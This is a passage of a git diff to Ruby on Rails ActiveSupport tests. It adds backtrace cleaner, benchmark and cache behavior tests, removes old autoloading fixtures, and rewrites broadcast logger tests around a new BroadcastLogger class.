index e1b8fce24a122..1000ce1cf55e2 100644
--- a/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
+++ b/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class RaisesNoMethodError
   self.foobar_method_doesnt_exist
 end
diff --git a/activesupport/test/autoloading_fixtures/requires_constant.rb b/activesupport/test/autoloading_fixtures/requires_constant.rb
deleted file mode 100644
index f04dcc4091f16..0000000000000
--- a/activesupport/test/autoloading_fixtures/requires_constant.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require "loaded_constant"
-
-module RequiresConstant
-end
diff --git a/activesupport/test/autoloading_fixtures/should_not_be_required.rb b/activesupport/test/autoloading_fixtures/should_not_be_required.rb
deleted file mode 100644
index 1fcf170cc551c..0000000000000
--- a/activesupport/test/autoloading_fixtures/should_not_be_required.rb
+++ /dev/null
@@ -1 +0,0 @@
-ShouldNotBeAutoloaded = 0
diff --git a/activesupport/test/autoloading_fixtures/throws.rb b/activesupport/test/autoloading_fixtures/throws.rb
deleted file mode 100644
index e1d96cc512a37..0000000000000
--- a/activesupport/test/autoloading_fixtures/throws.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-Throws = 1
-_ = A::B # Autoloading recursion, expected to be discarded.
-
-throw :t
diff --git a/activesupport/test/autoloading_fixtures/typo.rb b/activesupport/test/autoloading_fixtures/typo.rb
deleted file mode 100644
index 0ffe07c2b3696..0000000000000
--- a/activesupport/test/autoloading_fixtures/typo.rb
+++ /dev/null
@@ -1 +0,0 @@
-TypO = 1
diff --git a/activesupport/test/backtrace_cleaner_test.rb b/activesupport/test/backtrace_cleaner_test.rb
new file mode 100644
index 0000000000000..d894e33c051a1
--- /dev/null
+++ b/activesupport/test/backtrace_cleaner_test.rb
@@ -0,0 +1,283 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "rails/test_unit/line_filtering"
+
+class BacktraceCleanerFilterTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @bc.add_filter { |line| line.gsub("/my/prefix", "") }
+  end
+
+  test "backtrace should filter all lines in a backtrace, removing prefixes" do
+    assert_equal \
+      ["/my/class.rb", "/my/module.rb"],
+      @bc.clean(["/my/prefix/my/class.rb", "/my/prefix/my/module.rb"])
+  end
+
+  test "backtrace cleaner should allow removing filters" do
+    @bc.remove_filters!
+    assert_equal "/my/prefix/my/class.rb", @bc.clean(["/my/prefix/my/class.rb"]).first
+  end
+
+  test "backtrace should contain unaltered lines if they don't match a filter" do
+    assert_equal "/my/other_prefix/my/class.rb", @bc.clean([ "/my/other_prefix/my/class.rb" ]).first
+  end
+
+  test "#dup also copy filters" do
+    copy = @bc.dup
+    @bc.add_filter { |line| line.gsub("/other/prefix/", "") }
+
+    assert_equal "my/class.rb", @bc.clean(["/other/prefix/my/class.rb"]).first
+    assert_equal "/other/prefix/my/class.rb", copy.clean(["/other/prefix/my/class.rb"]).first
+  end
+end
+
+class BacktraceCleanerSilencerTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @bc.add_silencer { |line| line.include?("mongrel") }
+  end
+
+  test "backtrace should not contain lines that match the silencer" do
+    assert_equal \
+      [ "/other/class.rb" ],
+      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb" ])
+  end
+
+  test "backtrace cleaner should allow removing silencer" do
+    @bc.remove_silencers!
+    assert_equal ["/mongrel/stuff.rb"], @bc.clean(["/mongrel/stuff.rb"])
+  end
+
+  test "#dup also copy silencers" do
+    copy = @bc.dup
+
+    @bc.add_silencer { |line| line.include?("puma") }
+    assert_equal [], @bc.clean(["/puma/stuff.rb"])
+    assert_equal ["/puma/stuff.rb"], copy.clean(["/puma/stuff.rb"])
+  end
+end
+
+class BacktraceCleanerMultipleSilencersTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @bc.add_silencer { |line| line.include?("mongrel") }
+    @bc.add_silencer { |line| line.include?("yolo") }
+  end
+
+  test "backtrace should not contain lines that match the silencers" do
+    assert_equal \
+      [ "/other/class.rb" ],
+      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ])
+  end
+
+  test "backtrace should only contain lines that match the silencers" do
+    assert_equal \
+      [ "/mongrel/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ],
+      @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb", "/other/yolo.rb" ],
+                :noise)
+  end
+end
+
+class BacktraceCleanerFilterAndSilencerTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @bc.add_filter   { |line| line.gsub("/mongrel", "") }
+    @bc.add_silencer { |line| line.include?("mongrel") }
+  end
+
+  test "backtrace should not silence lines that has first had their silence hook filtered out" do
+    assert_equal [ "/class.rb" ], @bc.clean([ "/mongrel/class.rb" ])
+  end
+end
+
+class BacktraceCleanerDefaultFilterAndSilencerTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+  end
+
+  test "should format installed gems correctly" do
+    backtrace = [ "#{Gem.default_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+    result = @bc.clean(backtrace, :all)
+    assert_equal "nosuchgem (1.2.3) lib/foo.rb", result[0]
+  end
+
+  test "should format installed gems not in Gem.default_dir correctly" do
+    target_dir = Gem.path.detect { |p| p != Gem.default_dir }
+    # skip this test if default_dir is the only directory on Gem.path
+    if target_dir
+      backtrace = [ "#{target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+      result = @bc.clean(backtrace, :all)
+      assert_equal "nosuchgem (1.2.3) lib/foo.rb", result[0]
+    end
+  end
+
+  test "should format gems installed by bundler" do
+    backtrace = [ "#{Gem.default_dir}/bundler/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+    result = @bc.clean(backtrace, :all)
+    assert_equal "nosuchgem (1.2.3) lib/foo.rb", result[0]
+  end
+
+  test "should silence gems from the backtrace" do
+    backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+    result = @bc.clean(backtrace)
+    assert_empty result
+  end
+
+  test "should silence stdlib" do
+    backtrace = ["#{RbConfig::CONFIG["rubylibdir"]}/lib/foo.rb"]
+    result = @bc.clean(backtrace)
+    assert_empty result
+  end
+
+  test "should preserve lines that have a subpath matching a gem path" do
+    backtrace = [Gem.default_dir, *Gem.path].map { |path| "/parent#{path}/gems/nosuchgem-1.2.3/lib/foo.rb" }
+
+    assert_equal backtrace, @bc.clean(backtrace)
+  end
+end
+
+class BacktraceCleanerFirstCleanFrameTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+  end
+
+  def invoke_first_clean_frame_defaults
+    -> do
+      @bc.first_clean_frame.tap { @line = __LINE__ + 1 }
+    end.call
+  end
+
+  def invoke_first_clean_frame(kind = :silent)
+    -> do
+      @bc.first_clean_frame(kind).tap { @line = __LINE__ + 1 }
+    end.call
+  end
+
+  test "returns the first clean frame (defaults)" do
+    result = invoke_first_clean_frame_defaults
+    assert_match(/\A#{__FILE__}:#@line:in [`'](#{self.class}#)?invoke_first_clean_frame_defaults[`']\z/, result)
+  end
+
+  test "returns the first clean frame (:silent)" do
+    result = invoke_first_clean_frame(:silent)
+    assert_match(/\A#{__FILE__}:#@line:in [`'](#{self.class}#)?invoke_first_clean_frame[`']\z/, result)
+  end
+
+  test "returns the first clean frame (:noise)" do
+    @bc.add_silencer { true }
+    result = invoke_first_clean_frame(:noise)
+    assert_match(/\A#{__FILE__}:#@line:in [`'](#{self.class}#)?invoke_first_clean_frame[`']\z/, result)
+  end
+
+  test "returns the first clean frame (:any)" do
+    result = invoke_first_clean_frame(:any) # fallback of the case statement
+    assert_match(/\A#{__FILE__}:#@line:in [`'](#{self.class}#)?invoke_first_clean_frame[`']\z/, result)
+  end
+
+  test "returns nil if there is no clean frame" do
+    @bc.add_silencer { true }
+    assert_nil invoke_first_clean_frame_defaults
+  end
+end
+
+class BacktraceCleanerFirstCleanLocationTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+  end
+
+  def invoke_first_clean_location_defaults
+    -> do
+      @bc.first_clean_location.tap { @line = __LINE__ + 1 }
+    end.call
+  end
+
+  def invoke_first_clean_location(kind = :silent)
+    -> do
+      @bc.first_clean_location(kind).tap { @line = __LINE__ + 1 }
+    end.call
+  end
+
+  test "returns the first clean location (defaults)" do
+    location = invoke_first_clean_location_defaults
+
+    assert_equal __FILE__, location.path
+    assert_equal @line, location.lineno
+  end
+
+  test "returns the first clean location (:silent)" do
+    location = invoke_first_clean_location(:silent)
+
+    assert_equal __FILE__, location.path
+    assert_equal @line, location.lineno
+  end
+
+  test "returns the first clean location (:noise)" do
+    @bc.add_silencer { true }
+    location = invoke_first_clean_location(:noise)
+
+    assert_equal __FILE__, location.path
+    assert_equal @line, location.lineno
+  end
+
+  test "returns the first clean location (:any)" do
+    location = invoke_first_clean_location(:any) # fallback of the case statement
+
+    assert_equal __FILE__, location.path
+    assert_equal @line, location.lineno
+  end
+
+  test "returns nil if there is no clean location" do
+    @bc.add_silencer { true }
+    assert_nil invoke_first_clean_location_defaults
+  end
+end
+
+class BacktraceCleanerCleanLocationsTest < ActiveSupport::TestCase
+  def setup
+    @bc = ActiveSupport::BacktraceCleaner.new
+    @locations = indirect_caller_locations
+  end
+
+  # Adds a frame from this file to the call stack.
+  def indirect_caller_locations
+    line_filtering_path = Object.const_source_location("Rails::LineFiltering")&.first
+    caller_locations.reject do |loc|
+      loc.path == line_filtering_path
+    end
+  end
+
+  test "returns all clean locations (defaults)" do
+    cleaned_locations = @bc.clean_locations(@locations)
+    assert_equal [__FILE__], cleaned_locations.map(&:path)
+  end
+
+  test "returns all clean locations (:silent)" do
+    cleaned_locations = @bc.clean_locations(@locations, :silent)
+    assert_equal [__FILE__], cleaned_locations.map(&:path)
+  end
+
+  test "returns all clean locations (:noise)" do
+    cleaned_locations = @bc.clean_locations(@locations, :noise)
+    assert_not_includes cleaned_locations.map(&:path), __FILE__
+  end
+
+  test "returns an empty array if there are no clean locations" do
+    @bc.add_silencer { true }
+    assert_equal [], @bc.clean_locations(@locations)
+  end
+
+  test "filters and silencers are applied" do
+    @bc.remove_filters!
+    @bc.remove_silencers!
+
+    # We filter all locations as "foo", then we silence filtered strings that
+    # are exactly "foo". If filters and silencers are correctly applied, we
+    # should get no locations back.
+    @bc.add_filter { "foo" }
+    @bc.add_silencer { "foo" == _1 }
+
+    assert_equal [], @bc.clean_locations(@locations)
+  end
+end
diff --git a/activesupport/test/benchmark_test.rb b/activesupport/test/benchmark_test.rb
new file mode 100644
index 0000000000000..d2eefbde58a3c
--- /dev/null
+++ b/activesupport/test/benchmark_test.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+class BenchmarkTest < ActiveSupport::TestCase
+  def test_realtime
+    time = ActiveSupport::Benchmark.realtime { sleep 0.01 }
+    assert_includes (0.01..0.02), time
+  end
+
+  def test_realtime_millisecond
+    ms = ActiveSupport::Benchmark.realtime(:float_millisecond) { sleep 0.01 }
+    assert_includes (10..20), ms
+  end
+end
diff --git a/activesupport/test/benchmarkable_test.rb b/activesupport/test/benchmarkable_test.rb
index 210b9cb9fd27d..a3224c82aa9a1 100644
--- a/activesupport/test/benchmarkable_test.rb
+++ b/activesupport/test/benchmarkable_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 class BenchmarkableTest < ActiveSupport::TestCase
   include ActiveSupport::Benchmarkable
@@ -24,7 +26,7 @@ def setup
 
   def test_without_block
     assert_raise(LocalJumpError) { benchmark }
-    assert buffer.empty?
+    assert_empty buffer
   end
 
   def test_defaults
@@ -57,13 +59,13 @@ def test_with_silence
 
   def test_within_level
     logger.level = ActiveSupport::Logger::DEBUG
-    benchmark("included_debug_run", level: :debug) {}
+    benchmark("included_debug_run", level: :debug) { }
     assert_last_logged "included_debug_run"
   end
 
   def test_outside_level
     logger.level = ActiveSupport::Logger::ERROR
-    benchmark("skipped_debug_run", level: :debug) {}
+    benchmark("skipped_debug_run", level: :debug) { }
     assert_no_match(/skipped_debug_run/, buffer.last)
   ensure
     logger.level = ActiveSupport::Logger::DEBUG
diff --git a/activesupport/test/broadcast_logger_test.rb b/activesupport/test/broadcast_logger_test.rb
index 184d0ebddd067..bf379a61be1bd 100644
--- a/activesupport/test/broadcast_logger_test.rb
+++ b/activesupport/test/broadcast_logger_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 
 module ActiveSupport
   class BroadcastLoggerTest < TestCase
@@ -7,8 +9,7 @@ class BroadcastLoggerTest < TestCase
     setup do
       @log1 = FakeLogger.new
       @log2 = FakeLogger.new
-      @log1.extend Logger.broadcast @log2
-      @logger = @log1
+      @logger = BroadcastLogger.new(@log1, @log2)
     end
 
     Logger::Severity.constants.each do |level_name|
@@ -16,7 +17,7 @@ class BroadcastLoggerTest < TestCase
       level = Logger::Severity.const_get(level_name)
 
       test "##{method} adds the message to all loggers" do
-        logger.send(method, "msg")
+        logger.public_send(method, "msg")
 
         assert_equal [level, "msg", nil], log1.adds.first
         assert_equal [level, "msg", nil], log2.adds.first
@@ -38,23 +39,40 @@ class BroadcastLoggerTest < TestCase
     end
 
     test "#level= assigns the level to all loggers" do
-      assert_equal ::Logger::DEBUG, logger.level
+      assert_equal ::Logger::DEBUG, log1.level
       logger.level = ::Logger::FATAL
 
       assert_equal ::Logger::FATAL, log1.level
       assert_equal ::Logger::FATAL, log2.level
     end
 
-    test "#progname= assigns to all the loggers" do
-      assert_nil logger.progname
-      logger.progname = ::Logger::FATAL
+    test "#level returns the level of the logger with the lowest level" do
+      log1.level = Logger::DEBUG
+
+      assert_equal(Logger::DEBUG, logger.level)
+
+      log1.level = Logger::FATAL
+      log2.level = Logger::INFO
+
+      assert_equal(Logger::INFO, logger.level)
+    end
+
+    test "#progname returns Broadcast literally when the user didn't change the progname" do
+      assert_equal("Broadcast", logger.progname)
+    end
+
+    test "#progname= sets the progname on the Broadcast logger but doesn't modify the inner loggers" do
+      assert_nil(log1.progname)
+      assert_nil(log2.progname)
 
-      assert_equal ::Logger::FATAL, log1.progname
-      assert_equal ::Logger::FATAL, log2.progname
+      logger.progname = "Foo"
+
+      assert_equal("Foo", logger.progname)
+      assert_nil(log1.progname)
+      assert_nil(log2.progname)
     end
 
     test "#formatter= assigns to all the loggers" do
-      assert_nil logger.formatter
       logger.formatter = ::Logger::FATAL
 
       assert_equal ::Logger::FATAL, log1.formatter
@@ -62,21 +80,42 @@ class BroadcastLoggerTest < TestCase
     end
 
     test "#local_level= assigns the local_level to all loggers" do
-      assert_equal ::Logger::DEBUG, logger.local_level
+      assert_equal ::Logger::DEBUG, log1.local_level
       logger.local_level = ::Logger::FATAL
 
       assert_equal ::Logger::FATAL, log1.local_level
       assert_equal ::Logger::FATAL, log2.local_level
     end
 
+    test "severity methods get called on all loggers" do
+      my_logger = Class.new(::Logger) do
+        attr_reader :info_called
+
+        def info(msg, &block)
+          @info_called = true
+        end
+      end.new(StringIO.new)
+
+      @logger.broadcast_to(my_logger)
+
+      assert_changes(-> { my_logger.info_called }, from: nil, to: true) do
+        @logger.info("message")
+      end
+    ensure
+      @logger.stop_broadcasting_to(my_logger)
+    end
+
     test "#silence does not break custom loggers" do
       new_logger = FakeLogger.new
       custom_logger = CustomLogger.new
-      custom_logger.extend(Logger.broadcast(new_logger))
+      assert_respond_to new_logger, :silence
+      assert_not_respond_to custom_logger, :silence
+
+      logger = BroadcastLogger.new(custom_logger, new_logger)
 
-      custom_logger.silence do
-        custom_logger.error "from error"
-        custom_logger.unknown "from unknown"
+      logger.silence do
+        logger.error "from error"
+        logger.unknown "from unknown"
       end
 
       assert_equal [[::Logger::ERROR, "from error", nil], [::Logger::UNKNOWN, "from unknown", nil]], custom_logger.adds
@@ -112,6 +151,195 @@ class BroadcastLoggerTest < TestCase
       assert_equal [[::Logger::FATAL, "seen", nil]], log2.adds
     end
 
+    test "stop broadcasting to a logger" do
+      @logger.stop_broadcasting_to(@log2)
+
+      @logger.info("Hello")
+
+      assert_equal([[1, "Hello", nil]], @log1.adds)
+      assert_empty(@log2.adds)
+    end
+
+    test "#broadcast on another broadcasted logger" do
+      @log3 = FakeLogger.new
+      @log4 = FakeLogger.new
+      @broadcast2 = ActiveSupport::BroadcastLogger.new(@log3, @log4)
+
+      @logger.broadcast_to(@broadcast2)
+      @logger.info("Hello")
+
+      assert_equal([[1, "Hello", nil]], @log1.adds)
+      assert_equal([[1, "Hello", nil]], @log2.adds)
+      assert_equal([[1, "Hello", nil]], @log3.adds)
+      assert_equal([[1, "Hello", nil]], @log4.adds)
+    end
+
+    test "#debug? is true when at least one logger's level is at or above DEBUG level" do
+      @log1.level = Logger::DEBUG
+      @log2.level = Logger::FATAL
+
+      assert_predicate(@logger, :debug?)
+    end
+
+    test "#debug? is false when all loggers are below DEBUG level" do
+      @log1.level = Logger::ERROR
+      @log2.level = Logger::FATAL
+
+      assert_not_predicate(@logger, :debug?)
+    end
+
+    test "#info? is true when at least one logger's level is at or above INFO level" do
+      @log1.level = Logger::DEBUG
+      @log2.level = Logger::FATAL
+
+      assert_predicate(@logger, :info?)
+    end
+
+    test "#info? is false when all loggers are below INFO" do
+      @log1.level = Logger::ERROR
+      @log2.level = Logger::FATAL
+
+      assert_not_predicate(@logger, :info?)
+    end
+
+    test "#warn? is true when at least one logger's level is at or above WARN level" do
+      @log1.level = Logger::DEBUG
+      @log2.level = Logger::FATAL
+
+      assert_predicate(@logger, :warn?)
+    end
+
+    test "#warn? is false when all loggers are below WARN" do
+      @log1.level = Logger::ERROR
+      @log2.level = Logger::FATAL
+
+      assert_not_predicate(@logger, :warn?)
+    end
+
+    test "#error? is true when at least one logger's level is at or above ERROR level" do
+      @log1.level = Logger::DEBUG
+      @log2.level = Logger::FATAL
+
+      assert_predicate(@logger, :error?)
+    end
+
+    test "#error? is false when all loggers are below ERROR" do
+      @log1.level = Logger::FATAL
+      @log2.level = Logger::FATAL
+
+      assert_not_predicate(@logger, :error?)
+    end
+
+    test "#fatal? is true when at least one logger's level is at or above FATAL level" do
+      @log1.level = Logger::DEBUG
+      @log2.level = Logger::FATAL
+
+      assert_predicate(@logger, :fatal?)
+    end
+
+    test "#fatal? is false when all loggers are below FATAL" do
+      @log1.level = Logger::UNKNOWN
+      @log2.level = Logger::UNKNOWN
+
+      assert_not_predicate(@logger, :fatal?)
+    end
+
+    test "calling a method that no logger in the broadcast have implemented" do
+      assert_raises(NoMethodError) do
+        @logger.non_existing
+      end
+    end
+
+    test "calling a method when *one* logger in the broadcast has implemented it" do
+      logger = BroadcastLogger.new(CustomLogger.new)
+
+      assert(logger.foo)
+    end
+
+    test "calling a method when *multiple* loggers in the broadcast have implemented it" do
+      logger = BroadcastLogger.new(CustomLogger.new, CustomLogger.new)
+
+      assert_equal([true, true], logger.foo)
+    end
+
+    test "calling a method when a subset of loggers in the broadcast have implemented" do
+      logger = BroadcastLogger.new(CustomLogger.new, FakeLogger.new)
+
+      assert(logger.foo)
+    end
+
+    test "methods are called on each logger" do
+      calls = 0
+      loggers = [CustomLogger.new, FakeLogger.new, CustomLogger.new].each do |logger|
+        logger.define_singleton_method(:special_method) do
+          calls += 1
+        end
+      end
+      logger = BroadcastLogger.new(*loggers)
+      logger.special_method
+      assert_equal(3, calls)
+    end
+
+    test "calling a method that accepts a block is yielded only once" do
+      called = 0
+      logger.info do
+        called += 1
+        "Hello"
+      end
+
+      assert_equal 1, called, "block should be called just once"
+      assert_equal [[::Logger::INFO, "Hello", nil]], log1.adds
+      assert_equal [[::Logger::INFO, "Hello", nil]], log2.adds
+    end
+
+    test "calling a method that accepts args" do
+      logger = BroadcastLogger.new(CustomLogger.new)
+
+      assert(logger.baz("foo"))
+    end
+
+    test "calling a method that accepts kwargs" do
+      logger = BroadcastLogger.new(CustomLogger.new)
+
+      assert(logger.qux(param: "foo"))
+    end
+
+    test "#dup duplicates the broadcasts" do
+      logger = CustomLogger.new
+      logger.level = ::Logger::WARN
+      broadcast_logger = BroadcastLogger.new(logger)
+
+      duplicate = broadcast_logger.dup
+
+      assert_equal ::Logger::WARN, duplicate.broadcasts.sole.level
+      assert_not_same logger, duplicate.broadcasts.sole
+      assert_same logger, broadcast_logger.broadcasts.sole
+    end
+
+    test "logging always returns true" do
+      assert_equal true, @logger.info("Hello")
+      assert_equal true, @logger.error("Hello")
+    end
+
+    Logger::Severity.constants.each do |level_name|
+      method = level_name.downcase
+      level = Logger::Severity.const_get(level_name)
+
+      test "##{method} delegates keyword arguments to loggers" do
+        logger = BroadcastLogger.new(KwargsAcceptingLogger.new)
+
+        logger.public_send(method, "Hello", foo: "bar")
+        assert_equal [[level, "#{{ foo: "bar" }} Hello", nil]], logger.broadcasts.sole.adds
+      end
+    end
+
+    test "#add delegates keyword arguments to the loggers" do
+      logger = BroadcastLogger.new(KwargsAcceptingLogger.new)
+
+      logger.add(::Logger::INFO, "Hello", foo: "bar")
+      assert_equal [[::Logger::INFO, "#{{ foo: "bar" }} Hello", nil]], logger.broadcasts.sole.adds
+    end
+
     class CustomLogger
       attr_reader :adds, :closed, :chevrons
       attr_accessor :level, :progname, :formatter, :local_level
@@ -126,27 +354,43 @@ def initialize
         @formatter   = nil
       end
 
-      def debug(message, &block)
+      def foo
+        true
+      end
+
+      def bar
+        yield
+      end
+
+      def baz(param)
+        true
+      end
+
+      def qux(param:)
+        true
+      end
+
+      def debug(message = nil, &block)
         add(::Logger::DEBUG, message, &block)
       end
 
-      def info(message, &block)
+      def info(message = nil, &block)
         add(::Logger::INFO, message, &block)
       end
 
-      def warn(message, &block)
+      def warn(message = nil, &block)
         add(::Logger::WARN, message, &block)
       end
 
-      def error(message, &block)
+      def error(message = nil, &block)
         add(::Logger::ERROR, message, &block)
       end
 
-      def fatal(message, &block)
+      def fatal(message = nil, &block)
         add(::Logger::FATAL, message, &block)
       end
 
-      def unknown(message, &block)
+      def unknown(message = nil, &block)
         add(::Logger::UNKNOWN, message, &block)
       end
 
@@ -155,7 +399,28 @@ def <<(x)
       end
 
       def add(message_level, message = nil, progname = nil, &block)
-        @adds << [message_level, message, progname] if message_level >= local_level
+        @adds << [message_level, block_given? ? block.call : message, progname] if message_level >= local_level
+        true
+      end
+
+      def debug?
+        level <= ::Logger::DEBUG
+      end
+
+      def info?
+        level <= ::Logger::INFO
+      end
+
+      def warn?
+        level <= ::Logger::WARN
+      end
+
+      def error?
+        level <= ::Logger::ERROR
+      end
+
+      def fatal?
+        level <= ::Logger::FATAL
       end
 
       def close
@@ -164,7 +429,25 @@ def close
     end
 
     class FakeLogger < CustomLogger
-      include LoggerSilence
+      include ActiveSupport::LoggerSilence
+
+      # LoggerSilence includes LoggerThreadSafeLevel which defines these as
+      # methods, so we need to redefine them
+      attr_accessor :level, :local_level
+    end
+
+    class KwargsAcceptingLogger < CustomLogger
+      Logger::Severity.constants.each do |level_name|
+        method = level_name.downcase
+        define_method(method) do |message, **kwargs|
+          add(Logger::Severity.const_get(level_name), "#{kwargs.inspect} #{message}")
+        end
+      end
+
+      def add(severity, message = nil, **kwargs)
+        return super(severity, "#{kwargs.inspect} #{message}") if kwargs.present?
+        super
+      end
     end
   end
 end
diff --git a/activesupport/test/cache/behaviors.rb b/activesupport/test/cache/behaviors.rb
new file mode 100644
index 0000000000000..12bb8adc66d69
--- /dev/null
+++ b/activesupport/test/cache/behaviors.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require_relative "behaviors/cache_delete_matched_behavior"
+require_relative "behaviors/cache_increment_decrement_behavior"
+require_relative "behaviors/cache_instrumentation_behavior"
+require_relative "behaviors/cache_logging_behavior"
+require_relative "behaviors/cache_store_behavior"
+require_relative "behaviors/cache_store_version_behavior"
+require_relative "behaviors/cache_store_coder_behavior"
+require_relative "behaviors/cache_store_compression_behavior"
+require_relative "behaviors/cache_store_format_version_behavior"
+require_relative "behaviors/cache_store_serializer_behavior"
+require_relative "behaviors/connection_pool_behavior"
+require_relative "behaviors/encoded_key_cache_behavior"
+require_relative "behaviors/failure_safety_behavior"
+require_relative "behaviors/failure_raising_behavior"
+require_relative "behaviors/local_cache_behavior"
diff --git a/activesupport/test/cache/behaviors/cache_delete_matched_behavior.rb b/activesupport/test/cache/behaviors/cache_delete_matched_behavior.rb
new file mode 100644
index 0000000000000..ed8eba8fc2ddf
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_delete_matched_behavior.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module CacheDeleteMatchedBehavior
+  def test_delete_matched
+    @cache.write("foo", "bar")
+    @cache.write("fu", "baz")
+    @cache.write("foo/bar", "baz")
+    @cache.write("fu/baz", "bar")
+    @cache.delete_matched(/oo/)
+    assert_not @cache.exist?("foo")
+    assert @cache.exist?("fu")
+    assert_not @cache.exist?("foo/bar")
+    assert @cache.exist?("fu/baz")
+  end
+end
diff --git a/activesupport/test/cache/behaviors/cache_increment_decrement_behavior.rb b/activesupport/test/cache/behaviors/cache_increment_decrement_behavior.rb
new file mode 100644
index 0000000000000..5f1f0abcdf7d4
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_increment_decrement_behavior.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module CacheIncrementDecrementBehavior
+  def test_increment
+    key = SecureRandom.uuid
+    @cache.write(key, 1, raw: true)
+    assert_equal 1, @cache.read(key, raw: true).to_i
+    assert_equal 2, @cache.increment(key)
+    assert_equal 2, @cache.read(key, raw: true).to_i
+    assert_equal 3, @cache.increment(key)
+    assert_equal 3, @cache.read(key, raw: true).to_i
+
+    missing = @cache.increment(SecureRandom.alphanumeric)
+    assert_equal 1, missing
+    missing = @cache.increment(SecureRandom.alphanumeric, 100)
+    assert_equal 100, missing
+  end
+
+  def test_decrement
+    key = SecureRandom.uuid
+    @cache.write(key, 3, raw: true)
+    assert_equal 3, @cache.read(key, raw: true).to_i
+    assert_equal 2, @cache.decrement(key)
+    assert_equal 2, @cache.read(key, raw: true).to_i
+    assert_equal 1, @cache.decrement(key)
+    assert_equal 1, @cache.read(key, raw: true).to_i
+
+    missing = @cache.decrement(SecureRandom.alphanumeric)
+    assert_equal @cache.is_a?(ActiveSupport::Cache::MemCacheStore) ? 0 : -1, missing
+    missing = @cache.decrement(SecureRandom.alphanumeric, 100)
+    assert_equal @cache.is_a?(ActiveSupport::Cache::MemCacheStore) ? 0 : -100, missing
+  end
+
+  def test_read_counter_and_write_counter
+    key = SecureRandom.uuid
+    @cache.write_counter(key, 1)
+    assert_equal 1, @cache.read(key, raw: true).to_i
+
+    assert_equal 1, @cache.read_counter(key)
+    assert_equal 2, @cache.increment(key)
+    assert_equal 2, @cache.read_counter(key)
+
+    assert_nil @cache.read_counter(SecureRandom.alphanumeric)
+  end
+
+  def test_ttl_isnt_updated
+    key = SecureRandom.uuid
+
+    assert_equal 1, @cache.increment(key, expires_in: 1)
+    assert_equal 2, @cache.increment(key, expires_in: 5000)
+
+    # having to sleep two seconds in a test is bad, but we're testing
+    # a wide range of backends with different TTL mechanisms, most without
+    # subsecond granularity, so this is the only reliable way.
+    sleep 2
+
+    assert_nil @cache.read(key, raw: true)
+  end
+end
diff --git a/activesupport/test/cache/behaviors/cache_instrumentation_behavior.rb b/activesupport/test/cache/behaviors/cache_instrumentation_behavior.rb
new file mode 100644
index 0000000000000..9f59e356cccde
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_instrumentation_behavior.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+
+module CacheInstrumentationBehavior
+  def test_write_multi_instrumentation
+    key_1 = SecureRandom.uuid
+    key_2 = SecureRandom.uuid
+    value_1 = SecureRandom.alphanumeric
+    value_2 = SecureRandom.alphanumeric
+    writes = { key_1 => value_1, key_2 => value_2 }
+
+    events = capture_notifications("cache_write_multi.active_support") { @cache.write_multi(writes) }
+
+    assert_equal %w[ cache_write_multi.active_support ], events.map(&:name)
+    assert_nil events[0].payload[:super_operation]
+    assert_equal({ normalized_key(key_1) => value_1, normalized_key(key_2) => value_2 }, events[0].payload[:key])
+  end
+
+  def test_instrumentation_with_fetch_multi_as_super_operation
+    key_1 = SecureRandom.uuid
+    @cache.write(key_1, SecureRandom.alphanumeric)
+
+    key_2 = SecureRandom.uuid
+
+    events = capture_notifications("cache_read_multi.active_support") do
+      @cache.fetch_multi(key_2, key_1) { |key| key * 2 }
+    end
+
+    assert_equal %w[ cache_read_multi.active_support ], events.map(&:name)
+    assert_equal :fetch_multi, events[0].payload[:super_operation]
+    assert_equal [normalized_key(key_2), normalized_key(key_1)], events[0].payload[:key]
+    assert_equal [normalized_key(key_1)], events[0].payload[:hits]
+    assert_equal @cache.class.name, events[0].payload[:store]
+  end
+
+  def test_fetch_multi_instrumentation_order_of_operations
+    key_1 = SecureRandom.uuid
+    key_2 = SecureRandom.uuid
+
+    operations = capture_notifications(/^cache_(read_multi|write_multi)\.active_support$/) do
+      @cache.fetch_multi(key_1, key_2) { |key| key * 2 }
+    end
+
+    assert_equal %w[ cache_read_multi.active_support cache_write_multi.active_support ], operations.map(&:name)
+  end
+
+  def test_read_multi_instrumentation
+    key_1 = SecureRandom.uuid
+    @cache.write(key_1, SecureRandom.alphanumeric)
+
+    key_2 = SecureRandom.uuid
+
